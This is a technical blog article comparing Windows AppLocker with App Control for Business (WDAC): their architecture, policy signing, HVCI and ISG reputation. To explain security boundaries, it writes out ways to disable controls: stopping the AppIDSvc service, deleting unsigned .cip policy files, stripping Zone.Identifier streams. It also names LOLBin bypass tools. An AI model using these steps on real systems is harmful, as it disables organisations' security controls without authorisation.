Parag Mali - tag: wdac

AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026

noreply@paragmali.com (Parag Mali) — Mon, 01 Jun 2026 00:00:00 GMT

Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *"doesn't meet the servicing criteria for being a security feature"* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.

1. Two Locks on the Same Door

Sit down on a Windows 11 24H2 device in 2026. Open gpedit.msc. Navigate to Computer Configuration -> Windows Settings -> Security Settings, and you will find a node called AppLocker, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -> Administrative Templates -> System -> Device Guard. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls App Control for Business [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.

Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is "the right one"? The honest answer turns out to be neither, and both, and the reason is a single sentence on a single Microsoft Learn page that draws a line between security feature and operational hygiene control sharper than most practitioners realise.

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary's main entry point runs.

Microsoft's own App Control and AppLocker Overview page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft's own words, "helps to prevent end-users from running unapproved software on their computers but doesn't meet the servicing criteria for being a security feature." App Control for Business, in contrast, was "designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center" [@ms-appcontrol-applocker-overview]. The MSRC servicing criteria are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.

flowchart LR Root["Computer Configuration"] Sec["Windows Settings"] Adm["Administrative Templates"] SecSet["Security Settings"] Sys["System"] AL["AppLocker node
(user-mode AppIDSvc)"] DG["Device Guard node
(kernel ci.dll / App Control for Business)"] Root --> Sec Root --> Adm Sec --> SecSet SecSet --> AL Adm --> Sys Sys --> DG

The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of who evaluates what, where in the operating system, and against which attacker. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.

Key idea: AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, is the security boundary. Both still ship because neither is a strict superset of the other.

If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one do? And why is the line between them drawn in Microsoft's servicing criteria rather than in its feature inventory? To answer that, we have to start before either product existed.

2. Pre-History -- Why an OS Needs Application Control at All

The 1999-2001 macro-virus and worm era -- ILOVEYOU [@cert-ca-2000-04-iloveyou], Code Red [@cert-ca-2001-19-codered], Nimda [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had Execute permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was Software Restriction Policies, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.

SRP supported five rule conditions [@ms-applocker-what-is]: hash, certificate, path, Internet zone, and registry path. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at CreateProcess. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary's optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question "who published this binary?" -- but it cannot answer "what will this binary do once it runs?". Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.

But SRP's management surface was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally fragile: it depended on the Zone.Identifier Alternate Data Stream, which exists only on NTFS and which any user can strip with streams.exe -d.The Zone.Identifier ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP's zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.

SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker's 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between manageability and security?

flowchart TD SRP["2001 -- Software Restriction Policies
(Windows XP RTM)
user-mode SAFER API"] AL["2009 -- AppLocker
(Windows 7 / Server 2008 R2)
user-mode AppIDSvc + AppID.sys minifilter"] CCI["2015 -- Configurable Code Integrity
(Windows 10 1507, under Device Guard umbrella)
kernel ci.dll"] WDAC["2017 -- Windows Defender Application Control
(Windows 10 1709)
same kernel ci.dll, new brand"] ACfB["2024 -- App Control for Business
(Windows 11 24H2 / Server 2025)
same kernel ci.dll, third brand"] Now["2026 -- both AppLocker and App Control for Business ship in the same SKU"] SRP -- effectively orphaned --> AL AL -- peer mechanism added, not replaced --> CCI CCI -- renamed --> WDAC WDAC -- renamed --> ACfB AL -- still ships --> Now ACfB -- still ships --> Now

3. AppLocker (2009) -- The Architecture Microsoft Documents

October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?

Five rule collections [@ms-applocker-rules]:

Executable -- .exe, .com
DLL -- .dll, .ocx (off by default; opt-in for performance reasons)
Script -- .ps1, .vbs, .js, .bat, .cmd
Windows Installer -- .msi, .msp, .mst
Packaged App -- .appx, .msix

The script collection's inclusion of .bat and .cmd is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.

Three rule conditions:

Publisher -- the Authenticode subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for "binaries signed by Microsoft Corporation with product Office, version 16.0 or higher" survives every patch the vendor ships.
Path -- with environment-variable and wildcard support (%ProgramFiles%\Contoso\*.exe).
File Hash -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file's signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority's binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.

AppLocker also added the three management capabilities SRP lacked: per-user / per-group rule assignment via the AppLocker PowerShell module (Get-AppLockerPolicy, Set-AppLockerPolicy, Test-AppLockerPolicy, New-AppLockerPolicy), audit-only mode that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.

The architecture is the part most readers underestimate. AppLocker is a kernel-mode minifilter that asks a user-mode service for the verdict. Microsoft's AppLocker Architecture and Components page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the policy decision is deferred to the user-mode Application Identity service (AppIDSvc) running as LocalService, which evaluates policy via SeAccessCheckWithSecurityAttributes or AuthzAccessCheck against the calling user's group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the AppId.sys minifilter shipped in %SystemRoot%\System32\drivers\; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file's metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user's token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on. sequenceDiagram participant U as User participant K as Kernel (CreateProcess) participant Min as AppID.sys minifilter participant Svc as AppIDSvc (user mode) participant Pol as Active AppLocker policy U->>K: CreateProcess foo.exe K->>Min: process-create callback Min->>Svc: query verdict for foo.exe and caller token Svc->>Pol: AuthzAccessCheck against publisher / path / hash rules Pol-->>Svc: allow or deny Svc-->>Min: verdict Min-->>K: honour verdict K-->>U: process starts or STATUS_ACCESS_DENIED

The five-by-three matrix below is the policy surface a practitioner authors against:

Collection / Condition	Publisher	Path	File Hash
Executable (`.exe`, `.com`)	yes	yes	yes
DLL (`.dll`, `.ocx`)	yes	yes	yes
Script (`.ps1`, `.vbs`, `.js`, `.bat`, `.cmd`)	yes	yes	yes
Windows Installer (`.msi`, `.msp`, `.mst`)	yes	yes	yes
Packaged App (`.appx`, `.msix`)	yes (publisher only)	no	no

The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: "When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used." That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.

Note: The most common misattribution in the AppLocker literature is the conflation of AaronLocker with the AppLocker bypass corpus. AaronLocker [@github-aaronlocker] is Aaron Margosis's deployment tool -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker bypass catalogue is Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's UltimateWDACBypassList [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.

AppLocker's design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control's kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as SYSTEM?

4. AppLocker's Structural Limit -- Why It Was Never a Security Boundary

A single PowerShell line. sc.exe stop AppIDSvc from a LocalSystem context -- the canonical first-step bypass catalogued in UltimateAppLockerByPassList [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe's December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a bug?

It is not. It is the design. And three converging pieces of evidence -- Microsoft's own words, the documented architecture, and the public bypass record -- agree on the scope.

1. Microsoft's own servicing-criteria language. The App Control and AppLocker Overview page says, verbatim [@ms-appcontrol-applocker-overview]: "AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn't meet the servicing criteria for being a security feature." The MSRC Windows Security Servicing Criteria document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a security boundary receive CVEs and a coordinated patch. Defects in a defense-in-depth feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.

2. The user-mode AppIDSvc architecture is the proximate reason. Restate the section-3 diagram: the kernel minifilter AppID.sys collects the file metadata, but the verdict is returned by AppIDSvc running in user mode as LocalService. Any process running as LocalSystem or with administrator privilege can stop AppIDSvc. Stopping the service does not just bypass a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: "AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions." AuthzAccessCheck is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.

3. The published bypass corpora. Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass] catalogues rundll32.exe, regsvr32.exe, mshta.exe, installutil.exe, msbuild.exe, and a long list of others, each documented to bypass the default AppLocker rule set without administrator privileges. Moe's December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made "AppLocker is bypassable in practice without admin" an empirical claim, not a theoretical one.

And -- this is the part that closes the argument -- the Microsoft-org-hosted AaronLocker README [@github-aaronlocker] states the same scope plainly: "AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution." The bypass community and the Microsoft-employee-maintained deployment baseline agree.

This is the article's first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a scope statement, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with SYSTEM lives in the reader, not in the product.

The three pieces of evidence, tabulated:

Evidence	Source	What it establishes
MSRC servicing-criteria language	Microsoft Learn App Control and AppLocker Overview [@ms-appcontrol-applocker-overview]	AppLocker is not a security feature under MSRC criteria
User-mode `AppIDSvc` architecture	Microsoft Learn AppLocker Architecture and Components [@ms-applocker-architecture]	A `LocalSystem` or admin attacker can stop the evaluator
Public bypass corpora	Oddvar Moe `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]	Demonstrated bypasses without admin against default rules
Microsoft-org-hosted deployment baseline	AaronLocker README, Aaron Margosis [@github-aaronlocker]	Microsoft-employee-maintained tool states the scope identically

{` // Pseudocode walk of what happens when an admin or LocalSystem process // stops AppIDSvc. The actual demonstration requires admin on a Windows // host; this is the logic the kernel minifilter follows.

function onProcessCreate(candidateExe, callerToken) { const svc = queryService('AppIDSvc'); if (svc.state !== 'Running') { // No evaluator. The minifilter cannot block on the verdict // because the verdict source is gone. Enforcement degrades. return ALLOW; } const verdict = svc.evaluate(candidateExe, callerToken); return verdict; // honoured by the kernel as ALLOW or DENY }

// After: sc.exe stop AppIDSvc (requires admin / SYSTEM) // queryService('AppIDSvc').state === 'Stopped' // onProcessCreate(...) returns ALLOW for every candidate // until AppIDSvc restarts (typically next reboot) `}

Note: AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a weakness of AppLocker that an attacker with administrative rights can bypass it; that is outside the threat model the product was designed against. The right question to ask of AppLocker is not "is it secure?" but "is the threat model it addresses the threat model I need to address?"

If AppLocker cannot defend against an admin-equivalent attacker by design, and that became obvious inside Microsoft by the early 2010s, the question is no longer "why is AppLocker not enough?" It is: what would a Windows application-control system designed against an admin-equivalent attacker actually look like? Microsoft answered that question with Windows 10.

5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business

With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: "With Windows 10 we introduced Windows Defender Device Guard" -- and the new mechanism's value proposition, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker's AppIDSvc evaluator can be stopped from a LocalSystem shell, the new mechanism's evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.

The 2014-2015 threat-model shift inside Microsoft is well documented in retrospect [@ms-blog-introducing-wdac-2017]. Post-Pass-the-Hash, post-APT, the working assumption was that the adversary reaches administrator quickly -- and that any control whose enforcement could be turned off by an administrator was therefore not, in itself, a defense against the modern adversary. AppLocker could not be retrofitted to defend against that model because its evaluator lives in user mode by design. The fix was structural: build a peer mechanism in the kernel Code Integrity component.

The Windows kernel component that enforces signature and policy checks on every image loaded into memory. The same `ci.dll` enforces driver signing (KMCS) and Driver Signature Enforcement (DSE); the App Control for Business policy is a peer of the driver signing policy, evaluated by the same kernel code at the same hook points. There is no service to stop because there is no service -- the evaluator runs in the kernel itself. The umbrella brand Microsoft used in 2015-2017 for a bundle of hardware-rooted security features that included HVCI and Configurable Code Integrity. The brand was retired because customers consistently believed the bundle required hardware that, in fact, only HVCI required. The configurable CI policy that was the application-control half of Device Guard is what Microsoft now calls App Control for Business [@ms-blog-introducing-wdac-2017]. The configuration in which the kernel CI evaluator runs inside a Virtualization-Based Security (VBS) enclave at Virtual Trust Level 1 (VTL1), separated from the normal kernel at VTL0 by the Windows hypervisor. The marketing name in Windows 11 Settings is *memory integrity* [@ms-hvci] [@ms-support-memory-integrity]. The companion HVCI article in this pipeline covers the mechanism in depth; for this article the relevant fact is that with HVCI on, even a kernel-mode attacker in VTL0 cannot tamper with the code-integrity decision.

The connecting insight that made the architecture work: do not fix AppLocker. Build a peer mechanism in ci.dll, the same component that already enforces driver signing, and make the new application-control policy a peer of the driver-signing policy. The decision lives in the kernel. The policy file lives on disk under %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\. There is no user-mode service to stop.

The three-era naming timeline is the question every practitioner asks first about this product, so it is worth laying out cleanly:

Era	Name	Released	Source
Launch	Configurable Code Integrity, under the Device Guard umbrella	Windows 10 1507, July 29 2015	[@ms-blog-introducing-wdac-2017]
Rename 1	Windows Defender Application Control (WDAC)	Windows 10 1709 (Fall Creators Update GA October 17, 2017; WDAC rename announced October 23, 2017)	[@ms-blog-introducing-wdac-2017]
Rename 2	App Control for Business	Windows 11 24H2 / Server 2025, autumn 2024 [@ms-lifecycle-win11-enterprise] [@ms-lifecycle-server-2025]	[@ms-appcontrol-applocker-overview] [@github-wdac-toolkit-issue-411]

Microsoft's October 2017 retrospective is the cleanest explanation of the first rename [@ms-blog-introducing-wdac-2017]: the Device Guard umbrella *"unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately"* -- which Configurable CI and HVCI never were. The rename to WDAC was brand management, not a technology change. The 2024 rename to App Control for Business [@ms-appcontrol-applocker-overview] is similarly a rebrand; Microsoft Learn states *"App Control for Business was originally released as part of Device Guard and called configurable code integrity. The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy."* The same kernel code path has worn three names in nine years.

The naming convention this article uses: lead with "App Control for Business (still widely called WDAC)" on first mention, then use the names interchangeably. The community search term "WDAC" stays in the title and tags because most practitioner content still uses it.

flowchart TD Kernel["Kernel CI evaluator (ci.dll)
peer of driver signing / DSE / KMCS
unchanged 2015 -- 2026"] Brand1["Configurable Code Integrity
under Device Guard umbrella
(Windows 10 1507, 2015)"] Brand2["Windows Defender Application Control (WDAC)
(Windows 10 1709, 2017)"] Brand3["App Control for Business
(Windows 11 24H2 / Server 2025, 2024)"] Brand1 --> Kernel Brand2 --> Kernel Brand3 --> Kernel

Note: In 2026, "WDAC" remains the more discoverable community-search term for the kernel CI policy mechanism. Microsoft Learn redirects from the old windows-defender-application-control/ URL path to the new app-control-for-business/ path, but third-party blogs, conference talks, and the bypass corpora all still use "WDAC". If you are searching, use both terms.

A peer mechanism in the kernel CI component is a deliberate, specific architectural choice. What does App Control for Business actually check at policy-evaluation time, and what makes its policy itself tamper-resistant against a SYSTEM-equivalent attacker?

6. The Mechanism in Detail -- How App Control for Business Actually Enforces

A LoadImage callback enters the kernel. Where does the policy decision happen, who reads the policy file, and what stops the attacker from just deleting or replacing the policy file?

Where it runs. Inside ci.dll, loaded by the Windows kernel. The same component that enforces driver signing / DSE / KMCS [@ms-hvci]. The callback path is the documented kernel API surface: PsSetLoadImageNotifyRoutine [@ms-pssetloadimagenotifyroutine] registers the image-load callback, and PsLookupProcessByProcessId [@ms-pslookupprocessbyprocessid] resolves the loading PID to an EPROCESS so the evaluator can attribute the load to the right process. A user-mode sc.exe stop has no effect because there is no service to stop. The evaluator is the kernel.

What it evaluates. For each candidate image, ci.dll checks:

The file's Authenticode signature -- signer subject, EKU (Extended Key Usage), leaf certificate attributes.
The file's signed metadata -- Original Filename, version, product name (analogous to AppLocker's Publisher rule).
SHA-1, SHA-256, and page hashes of the file content.
The file's path, introduced in Windows 10 1903, with a mandatory runtime user-writeability check that distinguishes App Control path rules from AppLocker's [@github-aaronlocker-script]. An App Control path rule that resolves to a directory writable by a non-administrator is rejected at evaluation time.
The file's Managed Installer lineage -- whether the file was written by a process tagged as a managed installer [@ms-appcontrol-managed-installer].
The file's ISG reputation -- covered in section 7 [@ms-appcontrol-isg].

The XML / binary `.cip` policy file that `ci.dll` consults at every image-load callback. Authored in XML via the `New-CIPolicy` and `Merge-CIPolicy` cmdlets (the `ConfigCI` PowerShell module) and compiled to a binary `.cip` via `ConvertFrom-CIPolicy`. The kernel reads the active policies from `%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\*.cip` at boot and on policy refresh. A trust-propagation feature in App Control. An administrator designates a process (typically a configuration-management agent such as Configuration Manager, Intune, or a third-party tool such as Patch My PC) as a *managed installer*. Any file written by that process is automatically tagged with an Extended Attribute marking it as installed by trusted infrastructure. App Control policy can then allow files bearing the tag. The Managed Installer rule collection is implemented as an AppLocker rule set [@ms-appcontrol-managed-installer], which is the most-cited example of AppLocker enforcement plumbing being reused by App Control rather than replaced.

Policy file format. XML in, binary in the kernel. The cmdlet sequence:

New-CIPolicy   -> Merge-CIPolicy -> ConvertFrom-CIPolicy -> .cip file -> drop into Active/ -> reboot or refresh

The PowerShell module that exposes these cmdlets is still partly named after the WDAC era. ConvertFrom-CIPolicy, Set-CIPolicySetting, Set-CIPolicyVersion, Add-SignerRule, and the rest all retain the CIPolicy / ConfigCI naming through the 2024 rebrand. Microsoft has not renamed the cmdlets to App Control for Business. The App Control Wizard [@ms-appcontrol-wizard] is an open-source MSIX-packaged C# tool that uses these same cmdlets under the hood.

Signed vs unsigned policies -- the load-bearing distinction. This is the single most common practitioner confusion in App Control deployments, and it is worth several paragraphs of care.

An unsigned App Control policy is fully supported and widely deployed. The policy XML is authored, compiled, and dropped into the active-policies directory. The kernel reads it and enforces it. But the policy file itself has no cryptographic binding to the device. Any process with write access to %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\ -- which includes anything running as SYSTEM or administrator -- can simply del the .cip file and reboot. Enforcement vanishes. The defect is not in ci.dll; it is in the policy not being signed.

A signed App Control policy is signed by the deploying organisation's code-signing certificate -- not by the application publisher's certificate, which is the misconception most often imported from the AppLocker mental model. The deploying organisation typically uses an internal PKI leaf, the signing private key kept on a hardware token or in a sealed key vault. When the policy is signed, the kernel CI evaluator validates the signature against the trusted signer set baked into the policy at first application; a subsequent attempt to remove or replace the .cip file is rejected at boot because the unsigned (or alternately-signed) replacement does not match. Even SYSTEM cannot bypass this without the corresponding private key. This is the only configuration that survives an admin-equivalent attacker.

App Control policies are signed by the deploying organisation's code-signing certificate, *not* by the application publisher's. The signed policy is bound to the device such that even `SYSTEM` cannot remove or replace it without the organisation's signing key.

Dimension	Unsigned policy	Signed policy
Tamper-resistance against `SYSTEM` / admin	None -- the `.cip` file can be deleted	Strong -- removal requires the signing key
Deployment complexity	Low -- copy file and reboot	High -- requires PKI, signing infra, key custody
Signing PKI requirement	None	Internal code-signing CA leaf required
Removal mechanism	`del *.cip` + reboot	Sign and deploy a replace policy with the same key
Suitable as MSRC security boundary	No	Yes (with HVCI on)

HVCI integration. When Virtualization-Based Security is on, the kernel CI evaluator itself runs in VTL1 inside HVCI (memory integrity, in Windows 11 Settings) [@ms-hvci] [@ms-support-memory-integrity]. A kernel-mode attacker in VTL0 -- even one who has loaded an arbitrary kernel driver and corrupted kernel memory at will -- cannot tamper with the code-integrity evaluation path. The decision lives behind the hypervisor boundary.

Virtual Trust Levels exposed by the Windows hypervisor. VTL0 is the normal Windows kernel and user mode. VTL1 is the *secure kernel*, an isolated execution environment with restricted memory access and a tighter trust model. With HVCI enabled, the code-integrity evaluator runs in VTL1; a kernel-mode attacker confined to VTL0 cannot read or write VTL1 memory directly. Companion HVCI article in this pipeline covers the VTL model in depth. sequenceDiagram participant P as Loading process participant K as Kernel image loader participant CI as ci.dll (CI evaluator) participant Pol as Active .cip policies P->>K: load module foo.dll K->>CI: PsSetLoadImageNotifyRoutine callback CI->>CI: parse Authenticode + compute hashes + check path CI->>Pol: match against signer / hash / path / MI / ISG rules Pol-->>CI: allow or deny CI-->>K: honour verdict K-->>P: image loaded or STATUS_INVALID_IMAGE_HASH flowchart LR subgraph VTL0["VTL0 -- normal Windows kernel"] K0["NTOS kernel"] Drv["Loaded drivers"] Att["kernel-mode attacker"] end subgraph VTL1["VTL1 -- secure kernel"] SK["Secure kernel"] CIeval["ci.dll evaluator"] end Hyper["Windows Hypervisor (VBS)"] K0 -- regulated calls --> Hyper Hyper -- mediated entry --> SK SK --> CIeval Att -. blocked .- Hyper

Multi-policy support. From Windows 10 1903 (May 2019) the kernel supported up to 32 active App Control policies whose interactions follow two distinct rules: multiple base policies intersect (an app must be allowed by every base policy that applies), while a base policy and its supplemental policies union (an app is allowed if any of them allow it), and deny rules always win in either combination. The cap was lifted by the April 9, 2024 cumulative security updates: KB5036893 for Windows 11 22H2 and 23H2 (OS Builds 22621.3447 and 22631.3447) [@ms-kb-5036893], and KB5036892 for Windows 10 21H2 and 22H2 (OS Builds 19044.4291 and 19045.4291) [@ms-kb-5036892]. Microsoft's Deploy multiple App Control for Business policies page is explicit on the version scope [@ms-appcontrol-multi-policy]: "The policy limit was not removed on Windows 11 21H2 and will remain limited to 32 policies." No published Microsoft documentation gives the new ceiling on the platforms where the cap was lifted; the practical limit is policy parsing time at boot.

Note: This is the single most common practitioner misreading in App Control deployments. An unsigned App Control policy enforces against userland and against unprivileged users perfectly well -- but it does not qualify as a security boundary under the MSRC servicing criteria, because an admin or SYSTEM attacker can delete the policy file. The phrase "deploy WDAC" alone is ambiguous; the meaningful phrase is "deploy a signed WDAC policy with HVCI on and the Recommended Block Rules merged in".

Kernel evaluator, signed policy, HVCI-isolated evaluator, multi-policy merge. That is the security boundary Microsoft sells. But none of those facts tells you what signals the policy can act on -- and one of those signals (ISG) is the single most misunderstood piece of the App Control vocabulary.

7. ISG -- The Reputation Signal Everyone Calls a List

Open any practitioner thread about App Control in 2024-2026 and you will see the phrase "the ISG list of trusted apps." There is no such list. Microsoft has said so for years. The misconception is institutional.

The verbatim Microsoft Learn quote, from the Use App Control with the Intelligent Security Graph page [@ms-appcontrol-isg]:

The ISG isn't a "list" of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having "known good," "known bad," or "unknown" reputation. This cloud-based AI is based on trillions of signals collected from Windows endpoints and other data sources, and processed every 24 hours.

The ISG isn't a 'list' of apps. -- Microsoft Learn, *Use App Control with the Intelligent Security Graph* [@ms-appcontrol-isg]

ISG is a reputation classifier. An App Control policy can be configured to treat ISG's "known good" verdict as an additive allow signal. ISG never blocks on App Control's behalf. The Microsoft Learn page is precise: "the ISG option only allows binaries that are known good. If a binary is unknown or known bad, it won't be allowed by the ISG" [@ms-appcontrol-isg]. The classifier sits underneath the policy's explicit rules; it does not override them.

A Microsoft cloud service that ingests telemetry from Defender SmartScreen, Defender Antivirus, and partner products and produces a reputation classification for individual binaries. The classifier returns one of *known good*, *known bad*, or *unknown*. App Control can be configured to treat *known good* as an additional allow path, in addition to the explicit signer / hash / path / Managed Installer rules in the policy. ISG never *blocks* on its own; *unknown* and *known bad* simply mean ISG does not vote allow [@ms-appcontrol-isg].

The mechanism. When ISG is enabled and a binary is classified known good, Windows tags the file with an Extended Attribute named \$KERNEL.SMARTLOCKER.ORIGINCLAIM, so the CI evaluator can honour the verdict at subsequent image loads without a fresh cloud call. The cloud reputation model itself is processed every 24 hours [@ms-appcontrol-isg]; App Control's client-side requeries are documented only as periodic, without a fixed interval. The policy option Enabled:Invalidate EAs on Reboot discards the tags across reboot, forcing a re-evaluation.

The extended attribute \$KERNEL.SMARTLOCKER.ORIGINCLAIM is the same EA-tag mechanism the Managed Installer feature uses to propagate the "installed by trusted infrastructure" signal [@ms-appcontrol-managed-installer]. Two adjacent App Control features therefore share the same persistence layer -- one populated by a local trusted-process designation, the other populated by a cloud reputation classifier. The kernel evaluator does not care which source wrote the tag.

